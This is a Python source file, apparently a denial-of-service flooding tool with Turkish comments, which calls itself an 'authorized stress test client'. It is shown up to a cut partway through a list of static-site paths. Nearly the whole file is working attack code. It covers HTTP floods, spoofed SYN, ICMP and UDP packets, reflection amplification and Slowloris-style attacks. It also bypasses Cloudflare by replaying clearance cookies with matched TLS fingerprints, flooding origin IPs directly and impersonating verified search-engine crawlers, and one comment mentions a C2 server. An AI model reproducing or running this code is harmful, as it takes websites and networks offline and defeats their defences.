#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
mori_flood.py — authorized stress test client
Requires: python3 (stdlib only). Optional: pip install requests cloudscraper

Usage:
  python3 mori_flood.py <target> <method> <duration> <threads>

  target   : http://example.com:80/ veya 1.2.3.4:80 (L4 için)
  method   : aşağıdan seç
  duration : saniye
  threads  : thread sayısı

L7 Methods  : GET POST HEAD PPS NULL OVH STRESS COOKIES APACHE XMLRPC
              DYN GSB RHEX STOMP BOT SLOW AVB CFB BYPASS EVEN DOWNLOADER STATICHTTP
              CF_BYPASS RAPID_RESET TLS_SPOOF KILLER UAM_BYPASS
              WEBSOCKET_KILLER NGINX_KILLER WORDPRESS_KILLER
L4 Methods  : UDP TCP SYN ICMP CPS CONNECTION VSE TS3 MCPE FIVEM DISCORD MEGA_UDP
AMP Methods : RDP CLDAP MEM CHAR NTP DNS ARD (root + reflectors arg gerekir)

Örnekler:
  python3 mori_flood.py http://example.com/ GET 60 100
  python3 mori_flood.py 1.2.3.4:80 UDP 60 200
  python3 mori_flood.py 1.2.3.4:53 DNS 30 50 8.8.8.8,8.8.4.4
"""

import os, sys, random, socket, ssl, struct, threading, time
from contextlib import suppress
from itertools import cycle
from threading import Thread, Event
from urllib.parse import quote, urlparse


# ── opsiyonel ─────────────────────────────────────────────────────────────────
try:    from cloudscraper import create_scraper;  HAS_CS  = True
except: HAS_CS  = False
try:    from requests import Session as RS;        HAS_REQ = True
except: HAS_REQ = False
try:    import impacket.ImpactPacket as IMP;       HAS_IMP = True
except: HAS_IMP = False

# ── global ─────────────────────────────────────────────────────────────────────
_stop  = Event()
_lock  = threading.Lock()
SENT   = [0]
BYTES  = [0]
_UAM_COOKIE_STR = ""  # set by main() when method=UAM_BYPASS

UA = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17 Safari/605.1.15",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (Android 13; Mobile; rv:121.0) Gecko/121.0 Firefox/121.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/74.0.3729.169 Safari/537.36",
    "Googlebot/2.1 (+http://www.google.com/bot.html)",
    "AdsBot-Google (+http://www.google.com/adsbot.html)",
    "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
]
GBOT = [u for u in UA if "ooglebot" in u or "AdsBot" in u]
REF  = [
    "https://www.google.com/search?q=",
    "https://www.bing.com/search?q=",
    "https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=",
    "https://www.facebook.com/sharer/sharer.php?u=",
    "https://drive.google.com/viewerng/viewer?url=",
    "https://www.google.com/translate?u=",
    "https://duckduckgo.com/?q=",
    "https://t.co/",
]

def rstr(n=8):   return ''.join(random.choices('abcdefghijklmnopqrstuvwxyz0123456789', k=n))
def rip():       return '.'.join(str(random.randint(1,254)) for _ in range(4))
def rua():       return random.choice(UA)
def rref(h):     return random.choice(REF) + quote(h)
def rint(a,b):   return random.randint(a,b)

# ── kaynak izleme ──────────────────────────────────────────────────────────────
def cpu():
    try:
        import psutil; return psutil.cpu_percent(interval=0.3)
    except: pass
    if os.path.exists('/proc/stat'):
        def _r():
            with open('/proc/stat') as f: p=f.readline().split()
            return sum(int(x) for x in p[1:]), int(p[4])
        t1,i1=_r(); time.sleep(0.3); t2,i2=_r()
        d=t2-t1; return 100*(1-(i2-i1)/d) if d else 0
    return 0

def ram():
    try:
        import psutil; return psutil.virtual_memory().percent
    except: pass
    if os.path.exists('/proc/meminfo'):
        d={}
        with open('/proc/meminfo') as f:
            for l in f:
                k,v=l.split(':'); d[k.strip()]=int(v.strip().split()[0])
        t=d.get('MemTotal',1); return 100*(1-d.get('MemAvailable',t)/t)
    return 0

def guard(mx_cpu=80, mx_ram=75):
    """Sadece uyarı verir, durdurmaz. Süre zorunludur."""
    while not _stop.is_set():
        time.sleep(5)
        c,r=cpu(),ram()
        if c>mx_cpu or r>mx_ram:
            print(f"\033[93m[WARN] CPU={c:.0f}% RAM={r:.0f}% — yüksek kaynak kullanımı\033[0m", flush=True)

# ── soket yardımcıları ─────────────────────────────────────────────────────────
def mksock(host, port, tls=False, to=4):
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
    s.settimeout(to); s.connect((host, port))
    if tls:
        ctx=ssl.create_default_context()
        ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
        s=ctx.wrap_socket(s, server_hostname=host)
    return s

def send(s, d):
    try:
        b=d if isinstance(d,bytes) else d.encode()
        s.sendall(b)
        with _lock: SENT[0]+=1; BYTES[0]+=len(b)
        return True
    except: return False

def sndto(s, d, a):
    try:
        s.sendto(d, a)
        with _lock: SENT[0]+=1; BYTES[0]+=len(d)
        return True
    except: return False

def close(s):
    with suppress(Exception):
        if s: s.close()

# ── raw paket oluşturucular ────────────────────────────────────────────────────
def mk_syn(sip, dip, dport):
    if HAS_IMP:
        ip=IMP.IP(); ip.set_ip_src(sip); ip.set_ip_dst(dip)
        t=IMP.TCP(); t.set_SYN(); t.set_th_flags(0x02)
        t.set_th_dport(dport); t.set_th_sport(rint(32768,65535))
        ip.contains(t); return ip.get_packet()
    s=socket.inet_aton(sip); d=socket.inet_aton(dip); sp=rint(1024,65535)
    ih=struct.pack('!BBHHHBBH4s4s',0x45,0,40,rint(0,65535),0,64,socket.IPPROTO_TCP,0,s,d)
    th=struct.pack('!HHIIBHHH',sp,dport,0,0,0x50,0x02,64240,0,0)
    return ih+th

def mk_icmp(sip, dip):
    if HAS_IMP:
        ip=IMP.IP(); ip.set_ip_src(sip); ip.set_ip_dst(dip)
        ic=IMP.ICMP(); ic.set_icmp_type(ic.ICMP_ECHO)
        ic.contains(IMP.Data(b'A'*rint(16,512))); ip.contains(ic); return ip.get_packet()
    pl=os.urandom(rint(16,512))
    h=struct.pack('bbHHh',8,0,0,rint(0,65535),1); dt=h+pl
    cs=0
    for i in range(0,len(dt),2):
        w=dt[i:i+2]
        if len(w)==2: cs+=struct.unpack('H',w)[0]
    cs=~((cs>>16)+(cs&0xffff))&0xffff
    return struct.pack('bbHHh',8,0,cs,rint(0,65535),1)+pl

def mk_amp(sip, dip, dport, payload):
    if HAS_IMP:
        ip=IMP.IP(); ip.set_ip_src(sip); ip.set_ip_dst(dip)
        u=IMP.UDP(); u.set_uh_sport(rint(1024,65535)); u.set_uh_dport(dport)
        u.contains(IMP.Data(payload)); ip.contains(u); return ip.get_packet()
    s=socket.inet_aton(sip); d=socket.inet_aton(dip)
    ud=struct.pack('!HHHH',rint(1024,65535),dport,8+len(payload),0)+payload
    ih=struct.pack('!BBHHHBBH4s4s',0x45,0,20+len(ud),rint(0,65535),0,64,socket.IPPROTO_UDP,0,s,d)
    return ih+ud

def mk_discord(sip, dip, dport):
    if HAS_IMP:
        ip=IMP.IP(); ip.set_ip_src(sip); ip.set_ip_dst(dip)
        u=IMP.UDP(); u.set_uh_sport(rint(32768,65535)); u.set_uh_dport(dport)
        pl=b'\x13\x37\xca\xfe\x01\x00\x00\x00\x13\x37\xca\xfe\x01\x00\x00\x00\x13\x37\xca\xfe\x01\x00\x00\x00'
        pl+=bytes([rint(0,255) for _ in range(4)])
        u.contains(IMP.Data(pl)); ip.contains(u); return ip.get_packet()
    # impacket yoksa raw UDP (root gerekir)
    sip_b=socket.inet_aton(sip); dip_b=socket.inet_aton(dip)
    pl=b'\x13\x37\xca\xfe\x01\x00\x00\x00'*3+bytes([rint(0,255) for _ in range(4)])
    sp=rint(32768,65535)
    ud=struct.pack('!HHHH',sp,dport,8+len(pl),0)+pl
    ih=struct.pack('!BBHHHBBH4s4s',0x45,0,20+len(ud),rint(0,65535),0,64,socket.IPPROTO_UDP,0,sip_b,dip_b)
    return ih+ud

# ── HTTP yük üretici ───────────────────────────────────────────────────────────
class Target:
    def __init__(self, url):
        u=urlparse(url if '://' in url else 'http://'+url)
        self.scheme=u.scheme or 'http'
        self.host=u.hostname or url
        self.port=u.port or (443 if self.scheme=='https' else 80)
        self.path=(u.path or '/')+('?'+u.query if u.query else '')
        self.auth=f'{self.host}:{self.port}'
        self.tls=self.scheme=='https'

    def spoof(self):
        sp=rip()
        return (f"X-Forwarded-Proto: Http\r\nX-Forwarded-Host: {self.host}, 1.1.1.1\r\n"
                f"Via: {sp}\r\nClient-IP: {sp}\r\nX-Forwarded-For: {sp}\r\nReal-IP: {sp}\r\n")

    def rh(self):
        return f"User-Agent: {rua()}\r\nReferrer: {rref(self.host)}\r\n"+self.spoof()

    def base(self, m='GET', p=None, v=None):
        pth=p or self.path; ver=v or random.choice(['1.0','1.1','1.2'])
        return (f"{m} {pth} HTTP/{ver}\r\nHost: {self.auth}\r\n"
                "Accept-Encoding: gzip, deflate, br\r\nAccept-Language: en-US,en;q=0.9\r\n"
                "Cache-Control: max-age=0\r\nConnection: keep-alive\r\n"
                "Sec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\n"
                "Sec-Fetch-Site: none\r\nSec-Fetch-User: ?1\r\n"
                "Sec-Gpc: 1\r\nPragma: no-cache\r\nUpgrade-Insecure-Requests: 1\r\n")

    def GET(self, p=None): return (self.base('GET',p)+self.rh()+"\r\n").encode()
    def HEAD(self, p=None): return (self.base('HEAD',p)+self.rh()+"\r\n").encode()
    def PPS(self): return f"GET {self.path} HTTP/1.1\r\nHost: {self.host}\r\n\r\n".encode()
    def UAM(self, cookie_str):
        # Browser-grade headers — CF UAM için sıra ve alan adı önemli
        ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
        return (f"GET {self.path} HTTP/1.1\r\n"
                f"Host: {self.host}\r\n"
                f"Connection: keep-alive\r\n"
                f"Cache-Control: max-age=0\r\n"
                f"sec-ch-ua: \"Chromium\";v=\"124\", \"Google Chrome\";v=\"124\", \"Not-A.Brand\";v=\"99\"\r\n"
                f"sec-ch-ua-mobile: ?0\r\n"
                f"sec-ch-ua-platform: \"Windows\"\r\n"
                f"Upgrade-Insecure-Requests: 1\r\n"
                f"User-Agent: {ua}\r\n"
                f"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8\r\n"
                f"Sec-Fetch-Site: none\r\n"
                f"Sec-Fetch-Mode: navigate\r\n"
                f"Sec-Fetch-User: ?1\r\n"
                f"Sec-Fetch-Dest: document\r\n"
                f"Accept-Encoding: gzip, deflate, br\r\n"
                f"Accept-Language: en-US,en;q=0.9\r\n"
                f"Cookie: {cookie_str}\r\n\r\n").encode()
    def POST(self, body=None, ct='application/json'):
        b=body or f'{{"data":"{rstr(32)}"}}'
        return (self.base('POST')+self.rh()+
                f"Content-Type: {ct}\r\nContent-Length: {len(b)}\r\n"
                f"X-Requested-With: XMLHttpRequest\r\n\r\n{b}").encode()
    def conn(self, to=4): return mksock(self.host, self.port, self.tls, to)

# ══════════════════════════════════════════════════════════════════════════════
# L7 METOTLARI
# ══════════════════════════════════════════════════════════════════════════════
# Her worker kendi içinde loop yapar — bağlantı kopunca anında yeniden bağlanır,
# launcher spawn boşluğu olmaz → sabit yüksek RPS
def w_GET(t, rpc):
    while not _stop.is_set():
        with suppress(Exception):
            s=t.conn(); pl=t.GET()
            for _ in range(rpc):
                if _stop.is_set() or not send(s,pl): break
            close(s)

def w_POST(t, rpc):
    while not _stop.is_set():
        with suppress(Exception):
            s=t.conn()
            for _ in range(rpc):
                if _stop.is_set() or not send(s, t.POST()): break
            close(s)

def w_HEAD(t, rpc):
    while not _stop.is_set():
        with suppress(Exception):
            s=t.conn(); pl=t.HEAD()
            for _ in range(rpc):
                if _stop.is_set() or not send(s,pl): break
            close(s)

def w_PPS(t, rpc):
    while not _stop.is_set():
        with suppress(Exception):
            s=t.conn(); pl=t.PPS()
            for _ in range(rpc):
                if _stop.is_set() or not send(s,pl): break
            close(s)

def w_NULL(t, rpc):
    while not _stop.is_set():
        with suppress(Exception):
            s=t.conn()
            pl=(t.base('GET')+t.spoof()+"User-Agent: null\r\nReferrer: null\r\n\r\n").encode()
            for _ in range(rpc):
                if _stop.is_set() or not send(s,pl): break
            close(s)

def w_OVH(t, rpc):
    while not _stop.is_set():
        with suppress(Exception):
            s=t.conn(); pl=t.GET()
            for _ in range(min(rpc,5)):
                if _stop.is_set() or not send(s,pl): break
            close(s)

def w_STRESS(t, rpc):
    while not _stop.is_set():
        with suppress(Exception):
            s=t.conn()
            for _ in range(rpc):
                if _stop.is_set(): break
                if not send(s, t.POST(f'{{"data":"{rstr(512)}"}}')): break
            close(s)

def w_COOKIES(t, rpc):
    while not _stop.is_set():
        with suppress(Exception):
            s=t.conn()
            ck=f"_ga=GA{rint(1000,99999)};_gat=1;__cfduid=dc{rstr(32)};{rstr(6)}={rstr(32)}\r\n"
            pl=(t.base('GET')+t.rh()+f"Cookie: {ck}\r\n").encode()
            for _ in range(rpc):
                if _stop.is_set() or not send(s,pl): break
            close(s)

def w_APACHE(t, rpc):
    while not _stop.is_set():
        with suppress(Exception):
            s=t.conn()
            rng="bytes=0-,"+",".join(f"5-{i}" for i in range(1,1024))
            pl=(t.base('GET')+t.rh()+f"Range: {rng}\r\n\r\n").encode()
            for _ in range(rpc):
                if _stop.is_set() or not send(s,pl): break
            close(s)

def w_XMLRPC(t, rpc):
    while not _stop.is_set():
        with suppress(Exception):
            body=(f"<?xml version='1.0' encoding='iso-8859-1'?><methodCall>"
                  f"<methodName>pingback.ping</methodName><params>"
                  f"<param><value><string>{rstr(64)}</string></value></param>"
                  f"<param><value><string>{rstr(64)}</string></value></param>"
                  f"</params></methodCall>")
            s=t.conn()
            for _ in range(rpc):
                if _stop.is_set() or not send(s, t.POST(body,'application/xml')): break
            close(s)

def w_DYN(t, rpc):
    while not _stop.is_set():
        with suppress(Exception):
            s=t.conn()
            for _ in range(rpc):
                if _stop.is_set(): break
                pl=(t.base('GET')+t.spoof()+
                    f"User-Agent: {rua()}\r\nHost: {rstr(6)}.{t.host}:{t.port}\r\n\r\n").encode()
                if not send(s,pl): break
            close(s)

def w_GSB(t, rpc):
    while not _stop.is_set():
        with suppress(Exception):
            s=t.conn()
            for _ in range(rpc):
                if _stop.is_set(): break
                pl=(t.base('HEAD',f"{t.path}?qs={rstr(6)}&{rstr(4)}={rstr(8)}")+
                    t.rh()+"Connection: Keep-Alive\r\n\r\n").encode()
                if not send(s,pl): break
            close(s)

def w_RHEX(t, rpc):
    while not _stop.is_set():
        with suppress(Exception):
            s=t.conn()
            for _ in range(rpc):
                if _stop.is_set(): break
                hx=os.urandom(random.choice([32,64,128])).hex()
                pl=(f"GET {t.path}/{hx} HTTP/1.1\r\nHost: {t.auth}/{hx}\r\n"
                    +t.rh()+"Accept-Encoding: gzip,deflate,br\r\nConnection: keep-alive\r\n\r\n").encode()
                if not send(s,pl): break
            close(s)

def w_STOMP(t, rpc):
    hx=(r'\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA')*22+' '
    dep="Accept-Encoding: gzip,deflate,br\r\nConnection: keep-alive\r\nPragma: no-cache\r\nUpgrade-Insecure-Requests: 1\r\n\r\n"
    while not _stop.is_set():
        with suppress(Exception):
            p1=(f"GET {t.path}/{hx} HTTP/1.1\r\nHost: {t.auth}/{hx}\r\n"+t.rh()+dep).encode()
            p2=(f"GET {t.path}/cdn-cgi/l/chk_captcha HTTP/1.1\r\nHost: {hx}\r\n"+t.rh()+dep).encode()
            s=t.conn(); send(s,p1)
            for _ in range(rpc):
                if _stop.is_set() or not send(s,p2): break
            close(s)

def w_BOT(t, rpc):
    while not _stop.is_set():
        with suppress(Exception):
            ua=random.choice(GBOT) if GBOT else rua()
            p1=(f"GET /robots.txt HTTP/1.1\r\nHost: {t.auth}\r\n"
                f"Connection: Keep-Alive\r\nAccept: text/plain,*/*\r\n"
                f"User-Agent: {ua}\r\nAccept-Encoding: gzip,deflate,br\r\n\r\n").encode()
            p2=(f"GET /sitemap.xml HTTP/1.1\r\nHost: {t.auth}\r\n"
                f"Connection: Keep-Alive\r\nAccept: */*\r\nFrom: googlebot(at)googlebot.com\r\n"
                f"User-Agent: {ua}\r\nAccept-Encoding: gzip,deflate,br\r\n"
                f"If-None-Match: {rstr(9)}-{rstr(4)}\r\n"
                f"If-Modified-Since: Sun, 26 Set 2099 06:00:00 GMT\r\n\r\n").encode()
            s=t.conn(); send(s,p1); send(s,p2)
            pl=t.GET()
            for _ in range(rpc):
                if _stop.is_set() or not send(s,pl): break
            close(s)

def w_SLOW(t, rpc):
    while not _stop.is_set():
        with suppress(Exception):
            s=t.conn(60); send(s, t.GET())
            for _ in range(rpc):
                if _stop.is_set(): break
                time.sleep(random.uniform(0.5,2.0))
                if not send(s, f"X-a: {rint(1,9999)}\r\n".encode()): break
            close(s)

def w_AVB(t, rpc):
    while not _stop.is_set():
        with suppress(Exception):
            s=t.conn(); pl=t.GET()
            for _ in range(rpc):
                if _stop.is_set(): break
                time.sleep(max(rpc/1000,1))
                if not send(s,pl): break
            close(s)

def w_CFB(t, rpc):
    url=f"{t.scheme}://{t.auth}{t.path}"
    while not _stop.is_set():
        if HAS_CS:
            with suppress(Exception), create_scraper() as s:
                for _ in range(rpc):
                    if _stop.is_set(): break
                    with suppress(Exception): s.get(url); SENT[0]+=1
        else:
            import urllib.request
            ctx2=ssl.create_default_context(); ctx2.check_hostname=False; ctx2.verify_mode=ssl.CERT_NONE
            req=urllib.request.Request(url, headers={"User-Agent": rua()})
            for _ in range(rpc):
                if _stop.is_set(): break
                with suppress(Exception): urllib.request.urlopen(req,timeout=5,context=ctx2); SENT[0]+=1

def w_BYPASS(t, rpc):
    url=f"{t.scheme}://{t.auth}{t.path}"
    while not _stop.is_set():
        if HAS_REQ:
            with suppress(Exception), RS() as s:
                for _ in range(rpc):
                    if _stop.is_set(): break
                    with suppress(Exception): s.get(url,headers={"User-Agent":rua()},timeout=5,verify=False); SENT[0]+=1
        else:
            w_CFB(t, rpc); break

def w_EVEN(t, rpc):
    while not _stop.is_set():
        with suppress(Exception):
            s=t.conn(10); pl=t.GET()
            while not _stop.is_set():
                if not send(s,pl): break
                try: s.recv(512)
                except: break
            close(s)

def w_DOWNLOADER(t, rpc):
    while not _stop.is_set():
        with suppress(Exception):
            s=t.conn(30); pl=t.GET()
            for _ in range(rpc):
                if _stop.is_set(): break
                send(s,pl)
                while not _stop.is_set():
                    time.sleep(0.01)
                    if not s.recv(1): break
            close(s)

def _fill_jar(jar, host, cookie_str):
    """Cookie string'i (k=v; k2=v2) CookieJar'a doldur — cf_clearance dahil."""
    import http.cookiejar as hcj
    for pair in (cookie_str or '').split(';'):
        pair = pair.strip()
        if '=' not in pair:
            continue
        name, value = pair.split('=', 1)
        jar.set_cookie(hcj.Cookie(
            version=0, name=name.strip(), value=value.strip(),
            port=None, port_specified=False,
            domain=host, domain_specified=True, domain_initial_dot=False,
            path='/', path_specified=True, secure=False, expires=None,
            discard=True, comment=None, comment_url=None, rest={},
        ))

def _detect_browser(cookie_str='', ua_str=''):
    """UA veya cookie string'den tarayıcı profilini tahmin et (chrome/firefox).
    JA3 eşleşmesi için cf_clearance'ı alan cihazın profilini seçmek kritik."""
    haystack = (cookie_str + ' ' + ua_str).lower()
    if 'firefox' in haystack or '; rv:' in haystack:
        return 'firefox'
    return 'chrome'

def _flood_origin(t, rpc, origin_ips, ck, ck_dict, browser='chrome'):
    """
    Origin IP listesine round-robin flood — Host header = asıl domain.
    JA3 tekniği: _mk_ssl(browser) ile browser TLS el sıkışması + SNI = domain.
    CF proxy devre dışı; sadece origin sunucuya ulaşılır.
    """
    from itertools import cycle as _cycle
    ip_cyc = _cycle(origin_ips)
    ctx    = _mk_ssl(browser)
    while not _stop.is_set():
        with suppress(Exception):
            ip  = next(ip_cyc)
            pkt = t.UAM(ck)
            if t.tls:
                raw = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
                raw.settimeout(4)
                raw.connect((ip, t.port))
                # server_hostname = domain (SNI), IP'ye bağlanıyoruz
                s = ctx.wrap_socket(raw, server_hostname=t.host)
            else:
                orig = Target(f"{t.scheme}://{ip}{t.path}")
                s    = orig.conn()
            for _ in range(rpc):
                if _stop.is_set() or not send(s, pkt): break
            close(s)


def _flood_cf(t, rpc, url, ck, ck_dict, browser='chrome'):
    """
    CF üzerinden JA3-matching flood (stdlib only, harici bağımlılık yok).

    Teknik (kullanıcının kişisinden alınan yöntem):
      cf_clearance cookie'yi aldığı cihazın TLS parmak izi (JA3) + header seti
      birebir simüle edilir. CF parmak izi %100 uyuşunca aynı kullanıcı ama
      IP değişmiş muamelesi görür → mobil IP rotasyonu toleransı devreye girer.

    _mk_opener(browser, jar):
      • SSLContext → browser cipher suite sırası (JA3'ün asıl belirleyicisi)
      • set_ecdh_curve('prime256v1') → ECDH grubu eşleşmesi
      • addheaders → browser header sırası (stealth.py'den alınan _BP['order'])
    """
    import http.cookiejar as hcj
    while not _stop.is_set():
        with suppress(Exception):
            jar = hcj.CookieJar()
            _fill_jar(jar, t.host, ck)      # cf_clearance + diğer cookie'ler
            opener = _mk_opener(browser, jar)
            for _ in range(rpc):
                if _stop.is_set(): break
                with suppress(Exception):
                    r = opener.open(url, timeout=8)
                    d = r.read()
                    with _lock: SENT[0] += 1; BYTES[0] += len(d)


_UAM_ORIGIN_IPS = []   # C2 sunucusu tarafından doldurulur (argv[10])

# ── CF_UAM_BOT_BYPASS — Bot crawler simülasyonu ile CF IUAM bypass ──────────────
# CF Bot Management'ın "Verified Bot" whitelist'i: Bingbot, DuckDuckBot, YandexBot
# gibi botlar CF'nin IUAM challenge'ını almaz (robots.txt content signal + rDNS).
# Teknik: gerçek bot UA + crawler davranış sırası (robots.txt → sitemap → hedef)
#         + bot'a özgü header seti → CF bot analiz katmanını kandır.
# NOT: cf_clearance cookie'si GEREKMEZ — bot kimliği challenge'ı atlatır.
# Bingbot/YandexBot: rDNS doğrulaması Googlebot kadar sıkı değil → klonlanabilir.

_BOT_PROFILES = [
    {
        'name': 'Bingbot',
        'ua': 'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
        'from': 'bingbot@microsoft.com',
        'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'accept_lang': 'en-US,en;q=0.5',
    },
    {
        'name': 'DuckDuckBot',
        'ua': 'DuckDuckBot/1.1; (+http://duckduckgo.com/duckduckbot.html)',
        'from': 'duckduckbot@duckduckgo.com',
        'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'accept_lang': 'en-US,en;q=0.5',
    },
    {
        'name': 'YandexBot',
        'ua': 'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
        'from': 'robot@yandex.ru',
        'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'accept_lang': 'ru,en;q=0.7',
    },
    {
        'name': 'Baiduspider',
        'ua': 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
        'from': 'spider@baidu.com',
        'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'accept_lang': 'zh-CN,zh;q=0.9,en;q=0.3',
    },
    {
        'name': 'AhrefsBot',
        'ua': 'Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)',
        'from': 'support@ahrefs.com',
        'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'accept_lang': 'en-US,en;q=0.5',
    },
    {
        'name': 'SemrushBot',
        'ua': 'Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)',
        'from': '',
        'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'accept_lang': 'en-US,en;q=0.5',
    },
    {
        'name': 'facebookexternalhit',
        'ua': 'facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)',
        'from': '',
        'accept': 'text/html',
        'accept_lang': 'en',
    },
    {
        'name': 'Twitterbot',
        'ua': 'Twitterbot/1.0',
        'from': '',
        'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'accept_lang': 'en-US,en;q=0.5',
    },
]


def _mk_bot_opener(prof, jar):
    """Bot UA + crawler header seti ile opener oluştur (TLS fingerprint önemsiz)."""
    import urllib.request as _ureq, ssl as _ssl
    ctx = _ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = _ssl.CERT_NONE
    handler = _ureq.HTTPSHandler(context=ctx)
    ck_handler = _ureq.HTTPCookieProcessor(jar)
    opener = _ureq.build_opener(handler, ck_handler)
    headers = [
        ('User-Agent',      prof['ua']),
        ('Accept',          prof['accept']),
        ('Accept-Language', prof['accept_lang']),
        ('Accept-Encoding', 'gzip, deflate, br'),
        ('Connection',      'keep-alive'),
    ]
    if prof.get('from'):
        headers.append(('From', prof['from']))
    opener.addheaders = headers
    return opener


def _flood_bot(t, rpc, url):
    """
    Bot crawler davranış simülasyonu:
      1. /robots.txt → CF bot analiz katmanına "gerçek crawler" sinyali gönder
      2. %60 ihtimalle /sitemap.xml → gezinti derinliği simülasyonu
      3. Ana hedef flood → IUAM challenge almadan L7 yük
    Her thread farklı bot profili kullanır (profil rotasyonu).
    """
    import http.cookiejar as hcj, random as _rnd, time as _tm
    base_url = f"{t.scheme}://{t.host}"
    while not _stop.is_set():
        with suppress(Exception):
            prof = _rnd.choice(_BOT_PROFILES)
            jar  = hcj.CookieJar()
            opener = _mk_bot_opener(prof, jar)

            # Warm-up: robots.txt (CF'ye bot kimliğini kanıtla)
            with suppress(Exception):
                opener.open(f"{base_url}/robots.txt", timeout=6).read()
            _tm.sleep(_rnd.uniform(0.3, 0.9))

            # %60 ihtimalle sitemap.xml (crawler davranış derinliği)
            if _rnd.random() < 0.6:
                with suppress(Exception):
                    opener.open(f"{base_url}/sitemap.xml", timeout=6).read()
                _tm.sleep(_rnd.uniform(0.1, 0.5))

            # Ana hedef flood
            for _ in range(rpc):
                if _stop.is_set(): break
                with suppress(Exception):
                    r = opener.open(url, timeout=8)
                    d = r.read()
                    with _lock: SENT[0] += 1; BYTES[0] += len(d)


def w_CF_UAM_BOT_BYPASS(t, rpc):
    """
    CF IUAM bypass — Verified Bot kimliği simülasyonu.
    Cookie veya origin IP gerektirmez.
    CF Bot Management whitelist'indeki crawler UA'ları + davranış kalıbı:
      robots.txt fetch → sitemap fetch → asıl hedef flood
    Profil rotasyonu: her thread farklı bot (Bingbot/Yandex/DuckDuck/Baidu/Ahrefs...)
    """
    url = f"{t.scheme}://{t.auth}{t.path}"
    bot_names = ', '.join(p['name'] for p in _BOT_PROFILES)
    print(f"\033[96m[BOT_BYPASS] {len(_BOT_PROFILES)} bot profili rotasyonu: {bot_names}\033[0m", flush=True)
    print(f"\033[96m[BOT_BYPASS] robots.txt → sitemap warm-up → {url}\033[0m", flush=True)
    _flood_bot(t, rpc, url)

def w_UAM_BYPASS(t, rpc):
    """
    CF UAM bypass — JA3/header fingerprint eşleşme tekniği.
      • _UAM_ORIGIN_IPS doluysa → direkt origin flood (CF tamamen atlatıldı)
                                   browser TLS cipher suite ile SNI bağlantı
      • cookie varsa            → JA3-matching CF flood (IP mismatch tolerance)
                                   cookie'yi alan cihazın cipher suite + header order
    """
    ck  = _UAM_COOKIE_STR
    url = f"{t.scheme}://{t.auth}{t.path}"

    ck_dict = {}
    for pair in ck.split(';'):
        pair = pair.strip()
        if '=' in pair:
            k, v = pair.split('=', 1)
            ck_dict[k.strip()] = v.strip()

    # cf_clearance'ı alan cihazın tarayıcı profilini tespit et
    browser = _detect_browser(ck)

    if _UAM_ORIGIN_IPS:
        print(f"\033[92m[UAM] Origin IP modu — {len(_UAM_ORIGIN_IPS)} IP, {browser} JA3, CF proxy atlatıldı\033[0m", flush=True)
        _flood_origin(t, rpc, _UAM_ORIGIN_IPS, ck, ck_dict, browser)
    elif ck:
        print(f"\033[93m[UAM] JA3-match cookie bypass — {browser} cipher suite + header order, CF üzerinden\033[0m", flush=True)
        _flood_cf(t, rpc, url, ck, ck_dict, browser)
    else:
        print(f"\033[91m[UAM] Ne origin IP ne cookie var — durduruluyor\033[0m", flush=True)

# Static resource flood — Cloudflare cache bypass + static site exhaustion
# Hedef: CDN/CF arkasındaki statik siteler (bet perdesi, reklam, affiliate, landing)
# Teknik: cache-busting params → CDN miss → origin'i döver
#          + ETag mismatch → her seferinde tam cevap zorunlu
#          + path rotation → WAF'ın statik path whitelist'ini tam kapsar
_STATIC_PATHS = [
    # Evrensel
    '/favicon.ico','/robots.txt','/sitemap.xml','/sitemap_index.xml',
    '/ads.txt','/app-ads.txt','/security.txt','/.well-known/security.txt',
    # CSS/JS
    '/assets/css/main.css','/assets/css/app.css','/assets/css/style.css',
    '/assets/js/app.js','/assets/js/main.js','/assets/js/bundle.js',
    '/static/css/style.css','/static/js/main.js','/static/js/vendor.js',
